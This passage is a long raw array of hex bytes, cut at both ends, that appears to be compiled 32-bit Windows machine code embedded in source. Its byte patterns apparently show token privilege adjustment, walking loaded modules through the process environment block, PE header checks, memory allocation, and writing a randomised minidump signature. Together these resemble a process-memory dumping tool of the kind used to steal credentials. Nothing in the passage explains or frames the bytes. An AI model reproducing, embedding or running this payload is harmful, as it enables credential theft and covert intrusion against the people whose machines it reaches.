xEC,0x44,0x02,0x00,0x00,0xB9,0x00,0x00,0x00,0x00,0xB8,0x18,0x00,0x00,0x00,0x83,0xE0,0xFC,0x89,0xC2,0xB8,0x00,0x00,0x00,0x00,0x89,0x4C,0x05,0xDC,0x83,0xC0,0x04,0x39,0xD0,0x72,0xF5,0x8D,0x95,0xD4,0xFD,0xFF,0xFF,0xB8,0x00,0x00,0x00,0x00,0xB9,0x82,0x00,0x00,0x00,0x89,0xD7,0xF3,0xAB,0xC7,0x85,0xCC,0xFD,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0xD0,0xFD,0xFF,0xFF,0x00,0x00,0x00,0x00,0x8D,0x85,0xD4,0xFD,0xFF,0xFF,0x89,0x85,0xD0,0xFD,0xFF,0xFF,0x83,0x7D,0x08,0x00,0x75,0x07,0xB8,0x01,0x00,0x00,0x00,0xEB,0x61,0x8B,0x45,0x08,0x89,0x44,0x24,0x04,0x8D,0x85,0xCC,0xFD,0xFF,0xFF,0x89,0x04,0x24,0xE8,0x8A,0xFB,0xFF,0xFF,0xC7,0x45,0xDC,0x18,0x00,0x00,0x00,0xC7,0x45,0xE0,0x00,0x00,0x00,0x00,0xC7,0x45,0xE8,0x40,0x00,0x00,0x00,0x8D,0x85,0xCC,0xFD,0xFF,0xFF,0x89,0x45,0xE4,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x8D,0x45,0xDC,0x89,0x04,0x24,0xE8,0x42,0x48,0x00,0x00,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0x8B,0x7D,0xFC,0xC9,0xC3,0x55,0x89,0xE5,0x57,0x81,0xEC,0x74,0x02,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xB9,0x00,0x00,0x00,0x00,0xB8,0x18,0x00,0x00,0x00,0x83,0xE0,0xFC,0x89,0xC2,0xB8,0x00,0x00,0x00,0x00,0x89,0x4C,0x05,0xD8,0x83,0xC0,0x04,0x39,0xD0,0x72,0xF5,0xC7,0x45,0xC8,0x00,0x00,0x00,0x00,0xC7,0x45,0xCC,0x00,0x00,0x00,0x00,0xC7,0x45,0xC8,0x00,0x00,0x00,0x00,0xC7,0x45,0xCC,0x00,0x00,0x00,0x00,0x8D,0x95,0xC0,0xFD,0xFF,0xFF,0xB8,0x00,0x00,0x00,0x00,0xB9,0x82,0x00,0x00,0x00,0x89,0xD7,0xF3,0xAB,0xC7,0x85,0xB8,0xFD,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0xBC,0xFD,0xFF,0xFF,0x00,0x00,0x00,0x00,0x8D,0x85,0xC0,0xFD,0xFF,0xFF,0x89,0x85,0xBC,0xFD,0xFF,0xFF,0x83,0x7D,0x08,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xE0,0x00,0x00,0x00,0x8B,0x45,0x08,0x89,0x44,0x24,0x04,0x8D,0x85,0xB8,0xFD,0xFF,0xFF,0x89,0x04,0x24,0xE8,0x94,0xFA,0xFF,0xFF,0xC7,0x45,0xD8,0x18,0x00,0x00,0x00,0xC7,0x45,0xDC,0x00,0x00,0x00,0x00,0xC7,0x45,0xE4,0x40,0x00,0x00,0x00,0x8D,0x85,0xB8,0xFD,0xFF,0xFF,0x89,0x45,0xE0,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x28,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x24,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x20,0x20,0x00,0x00,0x00,0xC7,0x44,0x24,0x1C,0x01,0x00,0x00,0x00,0xC7,0x44,0x24,0x18,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x14,0x80,0x00,0x00,0x00,0x8D,0x45,0xC8,0x89,0x44,0x24,0x10,0x8D,0x45,0xD0,0x89,0x44,0x24,0x0C,0x8D,0x45,0xD8,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x89,0x00,0x12,0x00,0x8D,0x45,0xF0,0x89,0x04,0x24,0xE8,0x18,0x46,0x00,0x00,0x89,0x45,0xF4,0x81,0x7D,0xF4,0x43,0x00,0x00,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x34,0x81,0x7D,0xF4,0x34,0x00,0x00,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x24,0x83,0x7D,0xF4,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x17,0x8B,0x45,0xF0,0x89,0x04,0x24,0xE8,0xF6,0x44,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xB8,0x01,0x00,0x00,0x00,0x8B,0x7D,0xFC,0xC9,0xC3,0x55,0x89,0xE5,0x57,0x81,0xEC,0x74,0x02,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xB9,0x00,0x00,0x00,0x00,0xB8,0x18,0x00,0x00,0x00,0x83,0xE0,0xFC,0x89,0xC2,0xB8,0x00,0x00,0x00,0x00,0x89,0x4C,0x05,0xD8,0x83,0xC0,0x04,0x39,0xD0,0x72,0xF5,0xC7,0x45,0xC8,0x00,0x00,0x00,0x00,0xC7,0x45,0xCC,0x00,0x00,0x00,0x00,0xC7,0x45,0xC8,0x00,0x00,0x00,0x00,0xC7,0x45,0xCC,0x00,0x00,0x00,0x00,0x8D,0x95,0xC0,0xFD,0xFF,0xFF,0xB8,0x00,0x00,0x00,0x00,0xB9,0x82,0x00,0x00,0x00,0x89,0xD7,0xF3,0xAB,0xC7,0x85,0xB8,0xFD,0xFF,0xFF,0x00,0x00,0x00,0x00,0xC7,0x85,0xBC,0xFD,0xFF,0xFF,0x00,0x00,0x00,0x00,0x8D,0x85,0xC0,0xFD,0xFF,0xFF,0x89,0x85,0xBC,0xFD,0xFF,0xFF,0x8B,0x45,0x08,0x89,0x44,0x24,0x04,0x8D,0x85,0xB8,0xFD,0xFF,0xFF,0x89,0x04,0x24,0xE8,0x2F,0xF9,0xFF,0xFF,0xC7,0x45,0xD8,0x18,0x00,0x00,0x00,0xC7,0x45,0xDC,0x00,0x00,0x00,0x00,0xC7,0x45,0xE4,0x40,0x00,0x00,0x00,0x8D,0x85,0xB8,0xFD,0xFF,0xFF,0x89,0x45,0xE0,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x28,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x24,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x20,0x01,0x00,0x00,0x00,0xC7,0x44,0x24,0x1C,0x02,0x00,0x00,0x00,0xC7,0x44,0x24,0x18,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x14,0x80,0x00,0x00,0x00,0x8D,0x45,0xC8,0x89,0x44,0x24,0x10,0x8D,0x45,0xD0,0x89,0x44,0x24,0x0C,0x8D,0x45,0xD8,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x89,0x00,0x12,0x00,0x8D,0x45,0xF0,0x89,0x04,0x24,0xE8,0xB3,0x44,0x00,0x00,0x89,0x45,0xF4,0x81,0x7D,0xF4,0x35,0x00,0x00,0xC0,0x75,0x07,0xB8,0x01,0x00,0x00,0x00,0xEB,0x34,0x81,0x7D,0xF4,0x34,0x00,0x00,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x24,0x83,0x7D,0xF4,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x17,0x8B,0x45,0xF0,0x89,0x04,0x24,0xE8,0x91,0x43,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xB8,0x01,0x00,0x00,0x00,0x8B,0x7D,0xFC,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x28,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xE8,0x01,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x0C,0x0C,0x00,0x00,0x00,0x8D,0x45,0xE8,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x28,0x00,0x00,0x00,0xC7,0x04,0x24,0xFF,0xFF,0xFF,0xFF,0xE8,0x3D,0x45,0x00,0x00,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x28,0x83,0x7D,0x08,0x00,0x0F,0x84,0xA5,0x00,0x00,0x00,0x8B,0x45,0x08,0x89,0x45,0xF4,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xEB,0x0C,0x83,0x45,0xF0,0x01,0x8B,0x45,0xF4,0x8B,0x00,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x75,0xEE,0x8B,0x45,0xF0,0x83,0xE8,0x01,0x89,0x45,0xEC,0xEB,0x71,0x8B,0x45,0x08,0x89,0x45,0xF4,0x8B,0x45,0xEC,0x89,0x45,0xE8,0xEB,0x08,0x8B,0x45,0xF4,0x8B,0x00,0x89,0x45,0xF4,0x8B,0x45,0xE8,0x8D,0x50,0xFF,0x89,0x55,0xE8,0x85,0xC0,0x75,0xEB,0x83,0x7D,0xF4,0x00,0x74,0x44,0x8B,0x45,0x0C,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x8B,0x45,0xF4,0x89,0x04,0x24,0xE8,0x84,0x7E,0x00,0x00,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x8B,0x55,0xF4,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x50,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0x83,0x6D,0xEC,0x01,0x83,0x7D,0xEC,0x00,0x79,0x89,0xEB,0x01,0x90,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x38,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x14,0x04,0x00,0x00,0x00,0xC7,0x44,0x24,0x10,0x00,0x10,0x00,0x00,0x8B,0x45,0x08,0x89,0x44,0x24,0x0C,0xC7,0x44,0x24,0x08,0x00,0x00,0x00,0x00,0x8D,0x45,0xF0,0x89,0x44,0x24,0x04,0xC7,0x04,0x24,0xFF,0xFF,0xFF,0xFF,0xE8,0xC4,0x42,0x00,0x00,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x03,0x8B,0x45,0xF0,0xC9,0xC3,0x55,0x89,0xE5,0x90,0x5D,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x28,0x8B,0x45,0x08,0x85,0xC0,0x74,0x4F,0x8B,0x45,0x0C,0x85,0xC0,0x74,0x48,0x8B,0x55,0x0C,0x8B,0x45,0x08,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xE8,0xC3,0x7D,0x00,0x00,0xC7,0x45,0x0C,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x0C,0x00,0x80,0x00,0x00,0x8D,0x45,0x0C,0x89,0x44,0x24,0x08,0x8D,0x45,0x08,0x89,0x44,0x24,0x04,0xC7,0x04,0x24,0xFF,0xFF,0xFF,0xFF,0xE8,0x73,0x42,0x00,0x00,0x89,0x45,0xF4,0xEB,0x01,0x90,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x28,0x8D,0x45,0xF4,0x89,0x04,0x24,0xE8,0xE9,0xF0,0xFF,0xFF,0x89,0x04,0x24,0xE8,0x91,0x7D,0x00,0x00,0x8B,0x45,0x08,0xC7,0x00,0x4D,0x44,0x4D,0x50,0x8B,0x45,0x0C,0x66,0xC7,0x00,0x93,0xA7,0x8B,0x45,0x10,0x66,0xC7,0x00,0x00,0x00,0xE9,0xDE,0x00,0x00,0x00,0x8B,0x45,0x08,0xC7,0x00,0x00,0x00,0x00,0x00,0xE8,0x55,0x7D,0x00,0x00,0xC1,0xE0,0x11,0x89,0xC2,0x8B,0x45,0x08,0x8B,0x00,0x09,0xC2,0x8B,0x45,0x08,0x89,0x10,0xE8,0x3F,0x7D,0x00,0x00,0xC1,0xE0,0x02,0x25,0xFC,0xFF,0x01,0x00,0x89,0xC2,0x8B,0x45,0x08,0x8B,0x00,0x09,0xC2,0x8B,0x45,0x08,0x89,0x10,0xE8,0x24,0x7D,0x00,0x00,0x83,0xE0,0x03,0x89,0xC2,0x8B,0x45,0x08,0x8B,0x00,0x09,0xC2,0x8B,0x45,0x08,0x89,0x10,0x8B,0x45,0x0C,0x66,0xC7,0x00,0x00,0x00,0xE8,0x06,0x7D,0x00,0x00,0xC1,0xE0,0x08,0x25,0x00,0xFF,0x00,0x00,0x89,0xC2,0x8B,0x45,0x0C,0x0F,0xB7,0x00,0x89,0xC1,0x89,0xD0,0x09,0xC8,0x89,0xC2,0x8B,0x45,0x0C,0x66,0x89,0x10,0xE8,0xE3,0x7C,0x00,0x00,0x0F,0xB6,0xD0,0x8B,0x45,0x0C,0x0F,0xB7,0x00,0x89,0xC1,0x89,0xD0,0x09,0xC8,0x89,0xC2,0x8B,0x45,0x0C,0x66,0x89,0x10,0x8B,0x45,0x10,0x66,0xC7,0x00,0x00,0x00,0xE8,0xBF,0x7C,0x00,0x00,0xC1,0xE0,0x08,0x25,0x00,0xFF,0x00,0x00,0x89,0xC2,0x8B,0x45,0x10,0x0F,0xB7,0x00,0x89,0xC1,0x89,0xD0,0x09,0xC8,0x89,0xC2,0x8B,0x45,0x10,0x66,0x89,0x10,0xE8,0x9C,0x7C,0x00,0x00,0x0F,0xB6,0xD0,0x8B,0x45,0x10,0x0F,0xB7,0x00,0x89,0xC1,0x89,0xD0,0x09,0xC8,0x89,0xC2,0x8B,0x45,0x10,0x66,0x89,0x10,0x8B,0x45,0x08,0x8B,0x00,0x3D,0x4D,0x44,0x4D,0x50,0x0F,0x84,0x12,0xFF,0xFF,0xFF,0x8B,0x45,0x0C,0x0F,0xB7,0x00,0x66,0x3D,0x93,0xA7,0x0F,0x84,0x02,0xFF,0xFF,0xFF,0x8B,0x45,0x10,0x0F,0xB7,0x00,0x66,0x85,0xC0,0x0F,0x84,0xF3,0xFE,0xFF,0xFF,0x90,0x90,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x28,0xC7,0x44,0x24,0x08,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x01,0x00,0x00,0x00,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0xE9,0x41,0x00,0x00,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0xC9,0xC3,0x55,0x89,0xE5,0x53,0x83,0xEC,0x14,0x83,0x7D,0x0C,0x00,0x75,0x4E,0xC7,0x44,0x24,0x04,0x5C,0x00,0x00,0x00,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x32,0x7C,0x00,0x00,0x85,0xC0,0x74,0x18,0xC7,0x44,0x24,0x04,0x5C,0x00,0x00,0x00,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x1B,0x7C,0x00,0x00,0x83,0xC0,0x01,0xEB,0x03,0x8B,0x45,0x08,0x89,0x44,0x24,0x04,0xC7,0x04,0x24,0xBC,0xE3,0x48,0x65,0xE8,0xD7,0xE9,0xFF,0xFF,0xC7,0x04,0x24,0x3B,0xE3,0x48,0x65,0xE8,0xCB,0xE9,0xFF,0xFF,0x83,0x7D,0x10,0x00,0x0F,0x84,0x86,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x5C,0x00,0x00,0x00,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0xDA,0x7B,0x00,0x00,0x85,0xC0,0x74,0x18,0xC7,0x44,0x24,0x04,0x5C,0x00,0x00,0x00,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0xC3,0x7B,0x00,0x00,0x8D,0x58,0x01,0xEB,0x03,0x8B,0x5D,0x08,0xC7,0x44,0x24,0x04,0x5C,0x00,0x00,0x00,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0xA8,0x7B,0x00,0x00,0x85,0xC0,0x74,0x18,0xC7,0x44,0x24,0x04,0x5C,0x00,0x00,0x00,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x91,0x7B,0x00,0x00,0x83,0xC0,0x01,0xEB,0x03,0x8B,0x45,0x08,0x89,0x5C,0x24,0x08,0x89,0x44,0x24,0x04,0xC7,0x04,0x24,0x14,0xE4,0x48,0x65,0xE8,0x49,0xE9,0xFF,0xFF,0xC7,0x04,0x24,0x3B,0xE3,0x48,0x65,0xE8,0x3D,0xE9,0xFF,0xFF,0xEB,0x26,0x8B,0x45,0x08,0x89,0x44,0x24,0x08,0x8B,0x45,0x08,0x89,0x44,0x24,0x04,0xC7,0x04,0x24,0x14,0xE4,0x48,0x65,0xE8,0x21,0xE9,0xFF,0xFF,0xC7,0x04,0x24,0x3B,0xE3,0x48,0x65,0xE8,0x15,0xE9,0xFF,0xFF,0x90,0x8B,0x5D,0xFC,0xC9,0xC3,0x55,0x89,0xE5,0x53,0x83,0xEC,0x34,0xC7,0x45,0xE8,0x00,0x02,0x00,0x00,0x8B,0x45,0xE8,0x89,0x45,0xF4,0x8B,0x45,0xE8,0x89,0x45,0xF4,0x8B,0x5D,0xE8,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x89,0x5C,0x24,0x08,0xC7,0x44,0x24,0x04,0x08,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x4C,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0xA4,0x00,0x00,0x00,0x8B,0x45,0xE8,0x8D,0x55,0xE8,0x89,0x54,0x24,0x10,0x89,0x44,0x24,0x0C,0x8B,0x45,0xF0,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x1B,0x00,0x00,0x00,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0xD8,0x3E,0x00,0x00,0x89,0x45,0xEC,0x83,0x7D,0xEC,0x00,0x78,0x17,0x8B,0x45,0x0C,0x8B,0x55,0xF0,0x89,0x10,0x8B,0x55,0xE8,0x8B,0x45,0x10,0x89,0x10,0xB8,0x01,0x00,0x00,0x00,0xEB,0x5C,0x83,0x7D,0xF0,0x00,0x74,0x44,0x8B,0x45,0xF4,0x89,0x44,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x8B,0x45,0xF0,0x89,0x04,0x24,0xE8,0x43,0x7A,0x00,0x00,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x8B,0x55,0xF0,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x50,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0x81,0x7D,0xEC,0x04,0x00,0x00,0xC0,0x0F,0x84,0x25,0xFF,0xFF,0xFF,0xB8,0x00,0x00,0x00,0x00,0x8B,0x5D,0xFC,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x48,0xC7,0x45,0xE8,0x00,0x00,0x00,0x00,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x10,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x0C,0x18,0x00,0x00,0x00,0x8D,0x45,0xD8,0x89,0x44,0x24,0x08,0x8B,0x45,0xF4,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x1A,0x3E,0x00,0x00,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x03,0x8B,0x45,0xE8,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x58,0xB9,0x00,0x00,0x00,0x00,0xB8,0x1C,0x00,0x00,0x00,0x83,0xE0,0xFC,0x89,0xC2,0xB8,0x00,0x00,0x00,0x00,0x89,0x4C,0x05,0xD4,0x83,0xC0,0x04,0x39,0xD0,0x72,0xF5,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x10,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x0C,0x1C,0x00,0x00,0x00,0x8D,0x45,0xD4,0x89,0x44,0x24,0x08,0x8B,0x45,0xF4,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x7D,0x43,0x00,0x00,0x89,0x45,0xF0,0x83,0x7D,0xF0,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x03,0x8B,0x45,0xE0,0xC9,0xC3,0x55,0x89,0xE5,0x53,0x83,0xEC,0x24,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xC7,0x45,0xEC,0x00,0x00,0x00,0x00,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0x8D,0x45,0xEC,0x89,0x44,0x24,0x08,0x8D,0x45,0xF0,0x89,0x44,0x24,0x04,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x16,0xFE,0xFF,0xFF,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x75,0x0A,0xB8,0x00,0x00,0x00,0x00,0xE9,0x1C,0x01,0x00,0x00,0x8B,0x45,0xF0,0x0F,0xB7,0x00,0x66,0x85,0xC0,0x75,0x55,0x8B,0x45,0xF0,0x85,0xC0,0x74,0x44,0x8B,0x55,0xEC,0x8B,0x45,0xF0,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xE8,0xD2,0x78,0x00,0x00,0x8B,0x5D,0xF0,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x89,0x5C,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x50,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0xE9,0xBC,0x00,0x00,0x00,0x8B,0x45,0xF0,0x8B,0x40,0x04,0xC7,0x44,0x24,0x04,0xA0,0xE4,0x48,0x65,0x89,0x04,0x24,0xE8,0xF8,0x78,0x00,0x00,0x85,0xC0,0x74,0x52,0x8B,0x45,0xF0,0x85,0xC0,0x74,0x44,0x8B,0x55,0xEC,0x8B,0x45,0xF0,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xE8,0x63,0x78,0x00,0x00,0x8B,0x5D,0xF0,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x89,0x5C,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x50,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xB8,0x01,0x00,0x00,0x00,0xEB,0x50,0x8B,0x45,0xF0,0x85,0xC0,0x74,0x44,0x8B,0x55,0xEC,0x8B,0x45,0xF0,0x89,0x54,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xE8,0x11,0x78,0x00,0x00,0x8B,0x5D,0xF0,0xA1,0x44,0x61,0x49,0x65,0xFF,0xD0,0x89,0x5C,0x24,0x08,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x89,0x04,0x24,0xA1,0x50,0x61,0x49,0x65,0xFF,0xD0,0x83,0xEC,0x0C,0xC7,0x45,0xF0,0x00,0x00,0x00,0x00,0xB8,0x00,0x00,0x00,0x00,0x8B,0x5D,0xFC,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x28,0x83,0x7D,0x08,0x00,0x75,0x0D,0x83,0x7D,0x0C,0x00,0x75,0x07,0xB8,0x01,0x00,0x00,0x00,0xEB,0x61,0x83,0x7D,0x08,0x00,0x74,0x33,0xC7,0x44,0x24,0x0C,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x08,0x00,0x00,0x00,0x00,0xC7,0x44,0x24,0x04,0x01,0x00,0x00,0x00,0x8B,0x45,0x08,0x89,0x04,0x24,0xE8,0x8B,0x12,0x00,0x00,0x89,0x45,0x0C,0x83,0x7D,0x0C,0x00,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x28,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0x8B,0x45,0x0C,0x89,0x04,0x24,0xE8,0x7A,0x3D,0x00,0x00,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x79,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x28,0xC7,0x44,0x24,0x04,0x00,0x00,0x00,0x00,0xC7,0x04,0x24,0x00,0x10,0x00,0x00,0xE8,0xB6,0x11,0x00,0x00,0x89,0x45,0xF4,0x83,0x7D,0xF4,0x00,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x23,0x8B,0x45,0xF4,0x89,0x04,0x24,0xE8,0x2A,0xFD,0xFF,0xFF,0x89,0x45,0xF0,0x8B,0x45,0xF4,0x89,0x04,0x24,0xE8,0x31,0x3B,0x00,0x00,0xC7,0x45,0xF4,0x00,0x00,0x00,0x00,0x8B,0x45,0xF0,0xC9,0xC3,0x90,0x90,0x55,0x89,0xE5,0x83,0xEC,0x20,0xC7,0x45,0xEC,0x30,0x00,0x00,0x00,0x8B,0x45,0xEC,0x64,0x8B,0x00,0x89,0x45,0xE8,0x8B,0x45,0xE8,0x89,0x45,0xF8,0x8B,0x45,0xF8,0x8B,0x40,0x0C,0x89,0x45,0xF4,0x8B,0x45,0xF4,0x83,0xC0,0x0C,0x89,0x45,0xF0,0x8B,0x45,0xF4,0x8B,0x40,0x0C,0x89,0x45,0xFC,0x8B,0x45,0xFC,0x8B,0x40,0x18,0x89,0xC2,0x8B,0x45,0x08,0x39,0xD0,0x72,0x1F,0x8B,0x45,0xFC,0x8B,0x40,0x18,0x89,0xC2,0x8B,0x45,0xFC,0x8B,0x40,0x20,0x01,0xD0,0x8B,0x55,0x08,0x39,0xC2,0x73,0x08,0x8B,0x45,0xFC,0x8B,0x40,0x18,0xEB,0x15,0x8B,0x45,0xFC,0x8B,0x00,0x89,0x45,0xFC,0x8B,0x45,0xFC,0x3B,0x45,0xF0,0x75,0xC2,0xB8,0x00,0x00,0x00,0x00,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x10,0x83,0x7D,0x08,0x00,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x60,0x8B,0x45,0x08,0x89,0x45,0xFC,0x8B,0x45,0xFC,0x0F,0xB7,0x00,0x66,0x3D,0x4D,0x5A,0x74,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x47,0x8B,0x45,0xFC,0x8B,0x40,0x3C,0x89,0xC2,0x8B,0x45,0x08,0x01,0xD0,0x89,0x45,0xF8,0x8B,0x45,0xF8,0x8B,0x00,0x3D,0x50,0x45,0x00,0x00,0x74,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x24,0x8B,0x45,0xF8,0x0F,0xB7,0x40,0x16,0x66,0x89,0x45,0xF6,0x0F,0xB7,0x45,0xF6,0x25,0x00,0x20,0x00,0x00,0x85,0xC0,0x75,0x07,0xB8,0x00,0x00,0x00,0x00,0xEB,0x05,0xB8,0x01,0x00,0x00,0x00,0xC9,0xC3,0x55,0x89,0xE5,0x83,0xEC,0x38,0xC7,0x45,0xE0,0x30,0x00,0x00,0x00,0x8B,0x45,0xE0,0x64,0x8B,0x00,0x89,0x45,0xDC,0x8B,0x45,0xDC,0x89,0x45,0xF0,0x8B,0x45,0xF0,0x8B,0x40,0x0C,0x89,0x45,0xEC,0x8B,0x45,0xEC,0x83,0xC0,0x0C,0x89,0x45,0xE8,0x8B,0x45,0xEC,0x8B,0x40,0x0C,0x89,0x45,0xF4,0xEB,0x42,0x8B,0x45,0xF4,0x8B,0x40,0x18,0x39,0x45,0x08,0x74,0x2B,0x8B,0x45,0xF4,0x8B,0x40,0x18,0xC7,0x44,0x24,0x08,0x00,0x00,0x00,0x00,0x8B,0x55,0x0C,0x89,0x54,0x24,0x04,0x89,0x04,0x24,0xE8,0x7D,0x01,0x00,0x00,0x89,0x45,0xE4,0x83,0x7D,0xE4,0x00,0x74,0x08,0x8B,0x45,0xE4,0xEB,0x19,0x90,0xEB,0x01,0x90,0x8B,0x45,0xF4,0x8